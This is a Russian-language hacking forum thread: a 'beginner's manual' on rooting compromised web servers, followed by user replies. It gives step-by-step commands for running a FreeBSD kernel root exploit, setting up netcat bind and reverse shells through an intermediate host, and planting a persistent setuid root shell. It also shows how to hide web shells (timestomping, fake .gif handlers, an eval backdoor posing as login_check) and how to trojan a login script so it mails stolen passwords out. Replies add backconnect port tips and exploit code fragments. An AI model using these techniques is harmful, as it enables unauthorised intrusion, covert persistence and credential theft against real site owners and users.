Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Мануал новичкам: Рутанье (https://forum.antichat.xyz/showthread.php?t=151993)

Dimi4 29.10.2009 00:15

Мануал новичкам: Рутанье
 

|=---=[ Мануал новичкам: Рутанье ]=---=|
Мануал предназначен для новичков. В нем я постараюсь расписать пошаговою инструкцию рутанья, а также как спрятать свой шелл от админов (:
  • Поехали! (:
Начнем с того что мы уже залили шелл на хост. Посмотрели так сказать вокруг да около, а индекс то никак не подредактировать. Надо рутать :)
  • Смотрим версию ядра: uname -a
  • Ищем сплойты google.com. milw0rm.com
И так допустим:
User: 80 ( www ) Group: 80 ( www )
Код:

# uname -a
FreeBSD *** 7.0-RELEASE FreeBSD 7.0-RELEASE #2: Wed Jul 16 15:22:07 UTC 2008    root@:/usr/src/sys/i386/compile/colo2  i386

Идем на www.milw0rm.com, и видим что под эту версию нам подойдет плоент bsd-ktimer.c
Сохраняем плоент где нибудь, затем грузим на хост.
  • Биндпорт \ бекконет

    Для того чтобы порутать хост нам необходимо приконнектится к нему.
    Если кто не вкурил и спросит: "у нас ведь есть вебшелл", то объясню: нужна оболочка, типа баша)

    Лично я часто использую биндпорт от STNC:
    http://uasc.org.ua/files/backdoor.pl.txt
    А также бекконект от Алексайза:
    http://uasc.org.ua/files/connectback.pl.txt
    • Биндпортим
    Если вы используете шелл с возможностю биндпорта или бэкконекта, можете воспользоваться.
    Если же нет, тогда льем на хост и запускаем:
    perl backdoor.pl
    Назовите более беспалевно (:
    Далее у себя на компе (Должен быть установлен netcat)
    nc host.com 31337
    Если законектились - отлично, пропускайте следующий пункт. Если же нет, что бывает, потому что нас блочит фаер, пробуем использовать бекконект :)
    • Бекконектимся

      Существуют 2 варианта бекконекта - на свой комп, и с использованием промежуточного. Чаще всего используют вторую схему, так как для первой у вас должен быть выделенный ip, что бывает далеко не у всех. Но все же эту схему рассмотреть стоит, и так:
      • На свой комп
        На своем компе открываем порт для прослушки:
        nc -l -p31336
        Затем, на том хосте что хекаем, аплоудим скрипт, и запускаем из вебшелла:
        dc.pl [ВАШ_ИП] 31336
        Опять не работает? Скорее всего ваш ип адрес не является выделенным, а значит читаем дальше...
      • C использованием промежуточного хоста

        На промежуточном хосте, биндим порт (31337).
        У себя на компе, соединяемся с промежуточным:
        nc site.com 31337
        На промежуточном должен быть неткат, если его нет, то ставим. Сложностей это вызвать не должно.
        Затем открываем порт на промежуточном хосте:
        nc -l -p31336
        Потом с сайта, который рутаем делаем бекконет на промежуточный, как было описано выше.

    Но что делать, если и тут всё обламывает файервол?
    Вообщето сплойты можна юзать из веба :) (Кстате, тут я описываю случай с FreeBSD, а такая фича тестилась на шелле под линукс) Чтобы не переписывать, что что уже писал, копипаст из моего поста в РоА:
    1. Смотрим плоент, ищем что то типа:
    Цитата:

    execl("/bin/sh", "sh", NULL);
    2. Меняем на:
    Цитата:

    execl("/bin/sh","/bin/sh", "-c", "cp ./suidnik ./s; chown root ./s; chgrp root ./s; chmod 777 ./s; chmod +s ./s;", NULL);
    3. Дальше все просто) Заливаем "suidnik":
    Код:

    #include <stdio.h>
     int main(int argc, char **argv){
    system(argv[1]);
     }

    (пздц, никогда не кодил на си, а тут такой код :D )
    Компилим его, компилим сплоент, и запускаем из шелла. Потом увидим еще файлик "s".
    4. Вроде все, юзаем:
    Код:

    ./s "id"
  • Законнектились! :)
Компилим:
Код:

gcc bsd-ktimer.c -o free
chmod 755 free
./free

Далее должны наблюдать:
Код:

# ./free
FreeBSD local kernel root exploit
by: christer/mu-b
http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!

* allocated pointer page: 0x00000000 -> 0x08000000 [134217728-bytes]
* allocated itimer struct: 0x20000000 -> 0x200000DC [220-bytes]
* filling pointer page... done
* found posix_clocks @ [0xc08ecf80]
* it_page->it_clockid: 0x0CC274B6 [access @0xBFBFEDB8]
* ktimer_delete (0xD0000000)
* ktimer_delete: 0 1
#

Затем смотрим снова "id" и должны увидеть "root". В нашем случаи:
uid=80(www) gid=80(www) euid=0(root) groups=80(www),1003(suwww)
Ну что же, рут имеем, теперь надо бы както сделать так, чтобы не каждый раз юзать сплойт, если упадет процес бекдора. Создаем файлик, который будет давать нам права рута, каждый раз при вызове.
1.с:
Код:

main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

Далее
Код:

gcc 1.c -o syser
chmod 755 syser
chmod +s syser
mv syser /bin/syser

Если наш бекдор падает, то запускаем наново и выполняем:
Код:

$ /bin/syser
id
uid=0(root) gid=0(wheel) groups=0(wheel),80(www),1003(suwww)

  • Как спрятатся?
1. Никогда не забываем юзать команду:
touch -r [base] [shell]
Тем самым мы изменим дату создание шелла на дату создание безобидного файлика.
2. Копирайты, лицензии.
Часто помагает в начало файла добавить копирайты цмски которая стоит на сайте, сделать много отступов, затем сам код шелла) Или же впихнуть текст лицензии, GNU, например.
3. Расширение
Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и добавляем .htaccess:
Код:

AddType application/x-httpd-php .gif
Надеемся, что не спалят :)
4. Псевдофункции
В файл функций можно добавить следующий код:
PHP код:

function login_check($login)
{
if(
get_magic_quotes_gpc()){
 eval(
stripslashes($login)); }
 else 
{ eval(
$login); } 

И добавить в индекс например:
PHP код:

if(isset($_POST['logln'])){login_check($_POST['logln'])} 

4. :D
5. mail();
Ищем страничку авторизации, затем трояним скрипт. Нужно найти место где проходит проверка логина и пароля, и вставить примерно такой код:
PHP код:

mail(base64_decode('eWFAeGVra2VyLmNvbQ=='),'AUTH OK'$_POST['login'] .":" $_POST['password']); 

Приветы: $n@]<e, UASC, RoA и всем кого знаю :D
© 2009 Dimi4, [UASC]

desTiny 29.10.2009 23:40

>>Вообщето сплойты можна юзать из веба

Ещё часто оказывается, что сплоит во время работы что-то пишет в консольку, а шелл это почему-то не отображает. Так что бывает удобно дописать в начало кода
Код:

freopen("sploit.output", "wt", stdout);

Scipio 30.10.2009 00:23

>>Вообщето сплойты можна юзать из веба
видел твой пост, но по моему это не твоя идея, я без наезда, просто подзабыл.

больше вероятности сделать бекконект всеже на стандартные порты, ну т.е. 80,21,20 (ftp-data) если конечно нет демонов которые эти порты слушают.

В целом хорошо, собрал все воедино.

насчет MySql не понял, ладно бы если:
echo eval($row['comment']);

svesve 30.10.2009 00:34

кстати это сплойит под фряху не всегда пашет...на некоторых хостах просто вываливается ошибка что failed to lookup posix_clocks

Dimi4 30.10.2009 02:04

Scipio идея про шеллы из веба: обсуждали вместе со снейком, так что да, не могу претендовать на авторство.
Цитата:

насчет MySql не понял, ладно бы если:
echo eval($row['comment']);
` - shell_exec )) неужели забыл? )

2 svesve
Возможно ядро пропатчено, смотри дату точную, тоесть месяц и число, и сравнивай с датой выхода сплойта

Scipio 30.10.2009 02:19

>>` - shell_exec )) неужели забыл? )

ну я то не забыл, но объясни тогда в чем логика? Разве есть такая линевая комманда eval($_POST['e']);? другими словами eval тут не функция, а часть переменной $row['comment'] так же как и $_POST['e'] не переменная, а часть строки-значения переменной $row['comment']

Pashkela 30.10.2009 02:41

гы, метода прятания беков от 2005 года:)

PS: Сорри, пьян децл

Хотя бы шифровать как-то, имхо.

grep -P -i 'eval|$_GET|$_REQUEST|base64' /var/www/*.*

к примеру и всё, ни шеллов ни бекдоров

PS: А так прикольная статья, насчет бекконекта

Dyxxx 30.10.2009 08:36

сори но если бы тс не был бы грином, заминусовали бы и послали...
статей на эту тему предостаточно, причем более интересных и расписанных
http://forum.antichat.ru/showthread.php?t=17581
http://forum.antichat.ru/showthread.php?t=21406
http://forum.antichat.ru/showthread.php?t=30711
и т.д. зото плюсов срубил на бояне, любой реподрочер позавидует, хотя это не мое дело, минусните меня за дерзость.

Spyder 30.10.2009 13:54

Цитата:

видел твой пост, но по моему это не твоя идея, я без наезда, просто подзабыл.
да это идея Скульхака, реализованая Греем сам знаешь где. Димич то не мог этого знать)

Dimi4 30.10.2009 15:03

2Dyxxx
вуху, меня до гринов повысили? ))
И неужели ты думаешь что мой уровень писать статьи ради плюсов? Целью было создать мануал, который мог бы юзать каждый новичок, когда возникает вопрос о рутаньи. Да и в прочем, кто бы говорил? У тебя вся репа из темы скуль иньекты) Только не надо говорить что ты их ты выкладываешь "просто так". Это уже оффтоп, так что отвечать на это не надо, дабы не засорять тему.

Spyder О_о непонел

П.С. Dyxxx за линк спс, статей я не видел. И не надо провокаций)

PowerWMZ 30.10.2009 16:14

Идея стара как мир =]

Dimi4 30.10.2009 16:23

Цитата:

Сообщение от PowerWMZ
Идея стара как мир =]

Возможно, но я уверен не все знали об этом

desTiny 30.10.2009 17:45

Ого, а запуск сплоитов из-под веба, оказалось, было таким приватным умением?:)

SQLHACK 30.10.2009 20:15

Димыч , а ты знаешь толк в изращениях , а если честно ты че курил когда это писал ?

это чюдо
echo `$row['comment']`;
выдаст .... хотя нет, это чудо вообще ниxуя не выдаст.. ибо в строку нельзя так вставлять переменную это раз, надо юзать {$row['comment']} да и в таких кавычках это вообще не прокатит ``.
ладно если опустить баги с кавычками то тя получается конструкция перед которой я снимаю шляпу.
echo shell_exec(eval($_POST['e']));

p.s. Все быстро записали себе этот код в блокнот!!

Сорри но статья - шлак

p.p.s Интересно а что же должно быть в E?
наверно
echo('id');
для просмотра ID

p.p.p.s Вследующий раз бери водку или пиво ,и никаких наркотиков:))!

Scipio 30.10.2009 21:01

Цитата:

Сообщение от L I G A
выдаст,если елемент массива $row с индексом сomment - будет иметь значение какой-либо команды:
PHP код:

<?php
$output 
= `$_GET[c]`;
?>

юзать так:
Код:

$_SERVER[SCRIPT_NAME]?c=regedit

А при чем здесь метод Димыча? прр чем здесь твой предыдущий пост?

Scipio 30.10.2009 21:16

нет, не ближе у него
eval($_POST['e']);
причем он думает, что в переменную e что-то будет передаваться, и потом исполняться как системная комманда
З.Ы. да и вобще, зачем ты тут постишь очевидные вещи?
Димыч и ты говорили про:
Код:

<?php
$row[comment]='eval($_POST[\'e\']);';
echo `$row[comment]`;
?>


Ins3t 30.10.2009 21:59

Прочел статью от начала до конца.
В принципе нормально, но для общего развития, так как в статье указан пример, в котором все так круто порутилось, что аж ппц :)

На самом то деле очень редко так фартит.Часто ядро оказуется патченым, но сейчас не об этом. Бывает, что на серваке попросту не установлен gcc/g++, или не хватает библиотек, приходится компилить на своей тачке или на шелле, или же лить это все туда..

Ну а вообще автору +1.

_gr34t 30.10.2009 22:26

Да, с этим
Цитата:

$row[comment]=eval($_POST['e']);
echo `$row['comment']`;
он попутал...

(Dm) 30.10.2009 22:33

Цитата:

Но что делать, если и тут всё обламывает файервол?
Как-то столкнулся с тем что не мог сделать бекконнект ... видимо фаервол разрешал исходящие соединения только для ESTABLISHED (ибо веб работал), a также на обычные порты 80, 3306.
Поэтому могу посоветовать, если не получается подключиться бекконектом на какой-нить 9999 порт, попробовать использовать порт 80, 3306 или другой системный.
В моем случае сработало!

Dimi4 30.10.2009 22:42

Ужас какое наркоманство, непомню что на меня так повлияло, видмо зеленый чай, который чего то черным был))

Вот такое извращение, хотя оказывается пашет:
PHP код:

echo shell_exec(eval('system("ls");')); 

:D :D :D
В серьёз не воспринимать ))))

Orypec 31.10.2009 01:33

Про то, что консоль можно юзать с вэба впервые слышу! Интересная идея кстати

Slon 31.10.2009 13:08

Пара советов от меня:

Лучший порт для бэкконнекта это 53, так как ДНС разрешен на всех системах, а 80 и 21 часто блочат.
Если с бэкконнекта необходимо залогинится, использовать SSH либо su, то юзайте TTY бэкконнект. Он эмулирует полноценныю консоль.

Скачать можно ТУТ (первая ссылка, написан на С)

Welemir 20.03.2010 05:41

Любая антивирь утила под юнь спалит эту хрень в два счёта... проверено.Надо уже изобретать что-то новое.

[x26]VOLAND 03.10.2010 16:23

Netcat.exe

DCrypt 03.10.2010 17:51

В чем фейл?

Цитата:

Сообщение от None
sh-2.05b$ gcc expl.c
expl.c: In function `docall':
expl.c:52: warning: cast from pointer to integer of different size
expl.c:54: warning: cast to pointer from integer of different size
expl.c:60: warning: comparison between pointer and integer
expl.c: In function `main':
expl.c:77: warning: integer constant is too large for "long" type
expl.c:78: warning: integer constant is too large for "long" type
expl.c:79: warning: integer constant is too large for "long" type
expl.c:82: warning: cast to pointer from integer of different size
expl.c:115: error: `ORIG_RAX' undeclared (first use in this function)
expl.c:115: error: (Each undeclared identifier is reported only once
expl.c:115: error: for each function it appears in.)

Цитата:

Сообщение от None
Linux n15 2.6.33.1mtv2 #1 SMP Tue Jul 20 21:31:39 PDT 2010 i686


Welemir 03.10.2010 22:08

Цитата:

Сообщение от Scipio
Scipio said:
>>Вообщето сплойты можна юзать из веба
видел твой пост, но по моему это не твоя идея, я без наезда, просто подзабыл.
echo eval($row['comment']);

Жжешь)))а юзать бекконнект - твоя идея?)))))))))))))Или я не в теме?

Welemir 03.10.2010 22:10

Цитата:

Сообщение от DCrypt
DCrypt said:
В чем фейл?

Эм,а разве не gcc file.c -o outputfile ? А в сплоенте и могут возникнуть ошибки изза пробелов/переводов строк или неюзабельности комментария #.Вгетом и линксом пробовал все гут.

Welemir 03.10.2010 22:14

Цитата:

Сообщение от Nightmarе
Nightmarе said:
Заодно тут спрошу, мб кто знает...
Если для бекконнекта использовать промежуточный сервер через NetCat, то консоль линуксовую начинает дико передергивать, при выполнении одной команды выводится ответ на предыдущюю команду, и прочие глюки, которые мм... сложно описать.
Кто как выходит из ситуации? Может есть консольный аналог под нетката под винду?
Да, дедики просьба не предлогать.

Бывало такое,но соединялся напрямую с хостом без юзанья промежуточных серверов.Иногда консоль вообще подвисала жестко,хотя и сервер работал отлично(вбиваешь утилу в консоль,ждёшь вчас и вырубаешь на нервах).Именно под вынь сервер такое было.Через день само пропало...Мб это никак и не связано,но из проблемы я не вышел...

DCrypt 12.10.2010 01:12

Цитата:

Сообщение от Welemir
Welemir said:
Эм,а разве не gcc file.c -o outputfile ? А в сплоенте и могут возникнуть ошибки изза пробелов/переводов строк или неюзабельности комментария #.Вгетом и линксом пробовал все гут.

Код:

Code:
sh-2.05b$ gcc linux-syscall.c -o lin
linux-syscall.c: In function `docall':
linux-syscall.c:41: warning: cast from pointer to integer of different size
linux-syscall.c:43: warning: cast to pointer from integer of different size
linux-syscall.c:49: warning: comparison between pointer and integer
linux-syscall.c: In function `main':
linux-syscall.c:66: warning: integer constant is too large for "long" type
linux-syscall.c:67: warning: integer constant is too large for "long" type
linux-syscall.c:68: warning: integer constant is too large for "long" type
linux-syscall.c:71: warning: cast to pointer from integer of different size
linux-syscall.c:104: error: `ORIG_RAX' undeclared (first use in this function)
linux-syscall.c:104: error: (Each undeclared identifier is reported only once
linux-syscall.c:104: error: for each function it appears in.)
sh-2.05b$


Вот код сплойта.

[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
#include
#include

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

for (i = 200; i

~EviL~ 31.10.2010 02:32

Статья очень даже ничего, я в этом деле новичок - мне виднее =) Все расписано по-человечески и хорошо понятно, что к чему. Вот только ава, мягко сказано, смущает... =(

kfor 31.10.2010 03:11

[QUOTE="DCrypt"]
DCrypt said:
Код:

Code:
sh-2.05b$ gcc linux-syscall.c -o lin
linux-syscall.c: In function `docall':
linux-syscall.c:41: warning: cast from pointer to integer of different size
linux-syscall.c:43: warning: cast to pointer from integer of different size
linux-syscall.c:49: warning: comparison between pointer and integer
linux-syscall.c: In function `main':
linux-syscall.c:66: warning: integer constant is too large for "long" type
linux-syscall.c:67: warning: integer constant is too large for "long" type
linux-syscall.c:68: warning: integer constant is too large for "long" type
linux-syscall.c:71: warning: cast to pointer from integer of different size
linux-syscall.c:104: error: `ORIG_RAX' undeclared (first use in this function)
linux-syscall.c:104: error: (Each undeclared identifier is reported only once
linux-syscall.c:104: error: for each function it appears in.)
sh-2.05b$

Вот код сплойта.
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
#include
#include

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

for (i = 200; i
#include
#include
#include
#include
#include
#include
#include
#include

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

for (i = 200; i

Agnesti 23.04.2011 13:07

забинпортил, пытаюсь подключится, пишет :

Цитата:

Сообщение от None
no: forward host lookup failed: h_orrno 11001: HOST_NOT_FOUND

из за чего это может быть?

Freedom 23.04.2011 15:57

Цитата:

Сообщение от Agnesti
Agnesti said:
забинпортил, пытаюсь подключится, пишет :
из за чего это может быть?

HOST_NOT_FOUND Переведи вот это. Хотя бы со словарем.

Adio 23.04.2011 16:11

Эта технология стара..

cashm 29.04.2011 15:38

objasnite pliz. naprimer y menja est shell na sait, po servisu ja probil ctho na etom ip eshe 5 saitov. esli ja sdelaju root ja poluchu dostup k etim saitam??

d1v 29.04.2011 16:25

Цитата:

Сообщение от cashm
cashm said:
objasnite pliz. naprimer y menja est shell na sait, po servisu ja probil ctho na etom ip eshe 5 saitov. esli ja sdelaju root ja poluchu dostup k etim saitam??

да, получишь.

cat1vo 29.04.2011 16:25

Цитата:

Сообщение от cashm
cashm said:
objasnite pliz. naprimer y menja est shell na sait, po servisu ja probil ctho na etom ip eshe 5 saitov. esli ja sdelaju root ja poluchu dostup k etim saitam??

Я думаю ДА!

cashm 02.05.2011 19:47

pomogite plz.

v shell ja stavlju backconnect (c99madshell) on vidaet:Now script try connect to 84.14.177.44:53...

zpuskaju netcat: nc -l -p53

on vidaet: forward host lookup failed: h_errno 11001 : HOST_NOT_FOUND

CHTO JA DELAJU NE TAK???

cat1vo 02.05.2011 23:54

Попробуй на другой порт!

Gangliya 03.05.2011 13:37

сначала неткать, потом биндпорть


Время: 23:26